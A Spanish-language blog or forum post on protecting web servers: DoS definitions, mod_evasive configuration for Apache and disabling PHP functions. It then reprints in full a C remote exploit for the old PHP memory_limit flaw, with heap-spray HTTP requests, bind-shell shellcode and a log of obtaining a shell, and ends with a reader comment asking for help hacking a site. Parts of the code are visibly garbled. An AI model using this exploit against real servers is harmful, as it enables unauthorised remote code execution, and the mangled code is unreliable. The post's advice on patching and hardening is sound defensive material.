En esta oportunidad intentare explicarles mediante guias algunas soluciones o mejor dicho algunas formas de prevenir ataques en sus Host.
Powered byIP2Location.com
Comencemos . . .
Ataques DoS/DDoS/DrDoS (Denial Of Service)
Vamos a tener en cuenta alguna definiciones sobre ataques DoS, DDoS y el mas potente a mi criterio DRDoS :
DoS: Un ataque de denegación de servicio, también llamado ataque DoS (Denial of Service), es un ataque a un sistema de ordenadores o red que causa una pérdida en el servicio a los usuarios. Normalmente provoca la pérdida de la conectividad de la red por el consumo del ancho de banda de la red de la víctima o sobrecarga de los recursos com****cionales del sistema de la víctima. Se genera mediante la saturación de los puertos con flujo de información, haciendo que el servidor se sobrecargue y no pueda seguir prestando servicios, por eso se le dice “denegación”, pues hace que el servidor no de abasto a la cantidad de usuarios. Y esta tecnica no es de Hackers, asi que no se confundan, este tipo de tecnica es de Crackers ” ” creo que la diferencia es clara, ya que usan este metodo para desactivar su objetivo.
DDoS: El llamado DDoS (Distributed Denial of Service) es una ampliación del ataque DoS, se efectúa con la instalación de varios agentes remotos en muchas com****doras que pueden estar localizadas en diferentes puntos. El invasor consigue coordinar esos agentes para así, de forma masiva, amplificar el volumen del flood o saturación de información, pudiendo darse casos de un ataque de cientos o millares de com****doras dirigido a una máquina o red objetivo. Esta técnica se ha revelado como una de las más eficaces y sencillas a la hora de colapsar servidores, la tecnología distribuida ha ido sofisticándose hasta el punto de otorgar poder de causar daños serios a personas con escaso conocimiento técnico.
Asi que bueno teniendo en cuenta el significado de un ataque de Denial of Service, creo que ya estamos en condiciones de intentar protegernos. Aunque creo que vale la pena destacar que lo que voy a explicarles es como protegerse basicamente, y evitar ataques menores echos por principiantes, ya que un ataque DoS es Infalible y no hay ningun sistema que pueda evitarlos o detenerlos, La unica salvacion de este tipo de ataques es tener una Conexion mucho mas grande que la del atacante.
Bueno ahora si vamos a lo importante, yo voy a explicarles brevemente como instalar el MoD_Evasive , un sistema que intentara detener este tipo de ataques.
Lo primero que haremos sera descargar el mod_evasive
Descargar MODEVASIVE
Una ves descargado, lo que haremos sera descomprimir el archivo y copiarlo en la siguiente ruta :
Código:
/usr/local/directadmin/customapache/src/modules/dosevasive/mod_evasive.c
Luego deveran realizar un BackUp del archivo httpd.conf , y luego de eso compilar el archivo instalado (mod_evasive –> ejecutar ./configure –add-module=src/modules/dosevasive/mod_evasive.c
Luego Make Install – Reinicias tu Apache, y ahora modificaremos el httpd.conf poniendo la configuracion que sitare a continuacion :
Código:
DOSHashTableSize 3097
DOSPageCount 5
DOSSiteCount 100
DOSPageInterval 2
DOSSiteInterval 2
DOSBlockingPeriod 600
Luego lo guardan y vuelven a reiniciar su Servidor Apache, quiero recordarles que esto solo es un metodo para evitar ataques menores, ya que al menos bajo mi humilde conocimiento no existe solucion a este ataque mas que tener una muy mayor conexion a internet. Y vale destacar que esta solo es una de las tantas tecnicas que hay, ya que tambien podriamos utilizar Firewall’s como el ARP entro otras tecnicas que con el tiempo ire publicando si es de su interes.
Atte: MG-StaT ®
Lo primero que haremos es buscar ebn nuestro php.ini $shell locate php.ini en cpanel y directadmin suele estar en /usr/local/lib/php.ini en otros tipos en /etc/php.ini ^^
Lo abrimos y lo editamos de la siguiente forma:
Código:
$shell vi /usr/local/lib/php.ini
(lean arriva para saber cual usar)
$shell vi /etc/php.inibuscamos en el archivo de configuración la variable “disabledfunctions”.; el comentario “;” lo quitaremos y pondremos por ejemplo:
disablefunctions = “system,exec,curl,” – de esta manera evitaremos que los usuarios puedan ejecutar comando innecesarios. pero claro esta que esto debe realizarse por el Administrador del Sistema quien este totalmente al tanto de la configuracion actual y necesaria.
Otro buen punto de seguridad del PHP es mantenerse actualizado, ya que se conocen varios tipos de ataque a PHP desactualizado y eso es un gran riesgo tanto para nosotros como para nuestros clientes, por lo cual es una buena invercion de tiempo mantenerse actualizado.
Aqui les detallare un problema de las versiones de PHP y las nombrare:
Uno de los mayores problemas por versiones desactualizadas de PHP podriamos decir que es el seguiente:
PHP memory_limit (Permite la ejecucion de Codigo Remotamente)
Código:
PHP PHP 5.0 candidate 3
PHP PHP 5.0 candidate 2
PHP PHP 5.0 candidate 1
PHP PHP 4.3.7
PHP PHP 4.3.6
PHP PHP 4.3.5
PHP PHP 4.3.3
PHP PHP 4.3.2
PHP PHP 4.3.1
PHP PHP 4.3
PHP PHP 4.2.3
PHP PHP 4.2.2
PHP PHP 4.2.1
PHP PHP 4.2 .0
PHP PHP 4.2 -dev
PHP PHP 4.1.2
PHP PHP 4.1.1
PHP PHP 4.1 .0
PHP PHP 4.0.7 RC3
PHP PHP 4.0.7 RC2
PHP PHP 4.0.7 RC1
PHP PHP 4.0.7
PHP PHP 4.0.6
PHP PHP 4.0.5
PHP PHP 4.0.4
PHP PHP 4.0.3 pl1
PHP PHP 4.0.3
PHP PHP 4.0.2
PHP PHP 4.0.1 pl2
PHP PHP 4.0.1 pl1
PHP PHP 4.0.1
PHP PHP 4.0 0
PHP PHP 3.0.18
PHP PHP 3.0.17
. . . Y asi hasta Versiones aun mas inferiores . . .Esa es una de las tantas vulnerabilidades, ya que como saven exiten varias mas, y aqui un ejemplo de como poder explotar esa vulnerabilidad.
Código:
/* Remote exploit for the php memory_limit vulnerability found
* Esser in php 4 (<= 4.3.7) and php 5 (<= 5.0.0RC3).
*
* Vulnerability:
* The issue is well documented in the advisory.
*
* Exploitation:
* I cud not find a generic way to free a 40 byte chunk which could be later
* used by ALLOC_HASHTABLE. The exploit will construct a fake zend hash table
* which will be sent in the first request. The second request will kick in the
* memory interuption after allocating space for the hashtable and before it is
* initalized. The memory it will use for this allocation will contain the data
* from our previous request which includes the pDestructor pointer pointing to
* our nop+shellcode which is a part of the second request. This happens in the
* zend_hash_destory function.
*
* PS – The exploit is ugly, coded to test the vuln. If anyone knows the trick
* for 40 byte free() then plz drop me a mail. Tested on RH 8 php 4.3.7,
* Apache 2.0.49 with register_globals = On
*
* Gyan
*
*
*/
#include
#include
#include
#include
#include
#include
#define IP “127.0.0.1″
#define PORT 80
int sock;
struct sockaddr_in s;
char request1[]=
“POST /info.php?a[1]=test HTTP/1.0″
“Host: doesnotreallymatter\r\n”
“User-Agent: mlxdebug\r\n”
“Accept: text/html\r\n”
“Connection: close\r\n”
“Pragma: no-cache\r\n”
“Cache-Control: no-cache\r\n”
“Content-Type: multipart/form-data; boundary=———— \r\n BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB \r\n”;
char request2[]=
“—————264122487026375\r\n”
“Content-Length: 472\r\n”
“\r\n”
“—————————–264122487026375\r\n”
“Content-Disposition: form-data; name=\”a[][]\”\r\n”
“\r\n”
“TESTTESTTESTTESTTESTTESTTESTTESTTESTTES \r\n”
“\r\n”
“—————————–264122487026375–\r\n”;
char request3[]=
“POST /info.php?a[1]=test HTTP/1.0″
“Host: doesnotreallymatter\r\n”
“User-Agent: mlxdebug\r\n”
“Accept: text/html\r\n”
“Connection: close\r\n”
“Pragma: no-cache\r\n”
“Cache-Control: no-cache\r\n”
“Content-Type: multipart/form-data; boundary=————-”;
char request4[]=
“—————264122487026375\r\n”
“Content-Length: 472\r\n”
“\r\n”
“—————————–264122487026375\r\n”
“Content-Disposition: form-data; name=\”a[][]\”\r\n”
“\r\n”
“TESTTESTTESTTESTTESTTESTTESTTESTTESTTES \r\n”
“—————————–264122487026375–\r\n”;
/*Ripped shellcode. Runs on port 36864*/
char shell[]=
“\xeb\x72\x5e\x29\xc0\x89\x46\x10\x40\x89\xc3\x89\x46\x0c”
“\x40\x89\x46\x08\x8d\x4e\x08\xb0\x66\xcd\x80\x43\xc6\x46″
“\x10\x10\x66\x89\x5e\x14\x88\x46\x08\x29\xc0\x89\xc2\x89″
“\x46\x18\xb0\x90\x66\x89\x46\x16\x8d\x4e\x14\x89\x4e\x0c”
“\x8d\x4e\x08\xb0\x66\xcd\x80\x89\x5e\x0c\x43\x43\xb0\x66″
“\xcd\x80\x89\x56\x0c\x89\x56\x10\xb0\x66\x43\xcd\x80\x86″
“\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f”
“\x41\xcd\x80\x88\x56\x07\x89\x76\x0c\x87\xf3\x8d\x4b\x0c”
“\xb0\x0b\xcd\x80\xe8\x89\xff\xff\xff/bin/sh”;
void xp_connect(char *ip)
{
char buffer[1024];
char temp[1024];
int tmp;
s.sin_family = AF_INET;
s.sin_port = htons(PORT);
s.sin_addr.s_addr = inet_addr(ip);
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
printf(“Cannot create socket\n”);
exit(-1);
}
if((connect(sock,(struct sockaddr *)&s,sizeof(struct sockaddr))) < 0)
{
printf(“Cannot connect()\n”);
exit(-1);
}
}
void xp_write(char *data)
{
if(write (sock, data, strlen(data)) < 0)
{
printf(“write() failed\n”);
exit(-1);
}
}
void xp_receive()
{
int tmp;
char buffer[1024*2];
if ( (tmp = read(sock, buffer, sizeof(buffer))) nApplyCount to 0×02020202 to pass HASH_PROTECT_RECURSION
* 2) p->pListNext = 0×00000000 to exit out of zend_hash_apply
* 3) ht->pDestructor = addr to nop+shellcode
* 0×402c22bc : sub $0xc,%esp
* 0×402c22bf : pushl 0×8(%esi)
* 0×402c22c2 : call *%eax
* 0×402c22c4 : add $0×10,%esp
*
* $eax = ht->pDestructor
*/
void build1(int size, int count)
{
char *p1, *p2;
char *b1, *b2;
int i;
int pot = 0xffffffff;
int got = 0×41414141;
int bot = 0×0818ef29; //0×0818ef78;//0×08189870; //0×402b6c08;
int sot = 0×02020202;
int ret = 0×081887a8;
b1 = (char *)malloc(size-8);
p1 = b1;
for (i=0; i<size-8; i+=36)
{
*( (int **)p1 ) = (int *)( pot );
p1+=4;
*( (int **)p1 ) = (int *)( got );
p1+=4;
*( (int **)p1 ) = (int *)( bot );
p1+=4;
*( (int **)p1 ) = (int *)( ret );
p1+=4;
*( (int **)p1 ) = (int *)( bot );
p1+=4;
*( (int **)p1 ) = (int *)( got );
p1+=4;
*( (int **)p1 ) = (int *)( bot );
p1+=4;
*( (int **)p1 ) = (int *)( sot );
p1+=4;
}
b2 = (char *)malloc(size+1);
p2 = b2;
sprintf(p2, fill, b1);
for(i=0; i<count; i++)
xp_write(b2);
}
/*Test function for resetting php memory , does not work properly with
* php_normalize_heap function */
void build2(int size, int count)
{
char *p1, *p2;
char *b1, *b2;
int i;
b1 = (char *)malloc(size-8);
p1 = b1;
memset(p1, ‘\x42′, size-8);
b2 = (char *)malloc(size+1);
p2 = b2;
sprintf(p2, fill, b1);
for(i=0; i<count; i++)
xp_write(b2);
}
/*TODO*/
char *php_normalize_heap()
{
return;
}
/*Builds our shellcode with NOP’s and the mem interuption request*/
void build3(int size, int count)
{
char *p1, *p2;
char *b1, *b2;
int i;
int pot = 0×90909090;
b1 = (char *)malloc(size-8);
p1 = b1;
for (i=0; i<size-8-strlen(shell); i+=4) {
*( (int **)p1 ) = (int *)( pot );
p1+=4;
}
p1 = b1;
p1+= size – 8 – strlen(shell);
strncpy(p1, shell, strlen(shell));
b2 = (char *)malloc(size+1);
p2 = b2;
sprintf(p2, fill, b1);
for(i=0; i<count; i++)
xp_write(b2);
}
void exploit()
{
int i;
printf(“Stage 1: Filling mem with bad pdestructor … “);
for (i=0; i< 5; i++)
{
xp_connect(IP);
xp_write(request1);
build1(5000, 1);
xp_write(request2);
close(sock);
}
printf(“DONE\r\n”);
printf(“Stage 2: Triggering memory_limit now … “);
xp_connect(IP);
xp_write(request3);
build3(8192, 255);
build3(7265, 1);
xp_write(request4);
printf(“DONE\r\n”);
printf(“Shell on port 36864\r\n”);
}
main()
{
/*No args, no vectors*/
exploit();
}
/*
* Using [][][][] arry its possible to exhaust mem for 1.3.* servers and
*trigger memlimit in _zval_copy_ctor after ALLOC_HASHTABLE
*
*
[root@localhost stuff]# ./cool
Stage 1: Filling mem with bad pdestructor … DONE
Stage 2: Triggering mem_limit now … DONE
Shell on port 36864
[root@localhost stuff]# telnet 127.0.0.1 36864
Trying 127.0.0.1…
Connected to localhost.localdomain (127.0.0.1).
Escape character is ‘^]’.
id;
uid=99(nobody) gid=4294967295 groups=4294967295
uname -a;
Linux localhost.localdomain 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux
*/Bueno en este caso la solucion es actualizar su version de PHP, para evitar ese tipo de problemas, ya que si utilizan en su php.ini la opcion register_globals = On con una version desactualizada de PHP pueden ser victimas de ataques bastantes riesgosos.
Aqui puden encontrar distintas soluciones a este problema, desde la web de SecurityFocus, con distintas soluciones para este problema asi como con mas informacion del bug.
http://www.securityfocus.com/bid/10725/solution

quisiera hackear ese sitio es posible?¿ me ayudan plis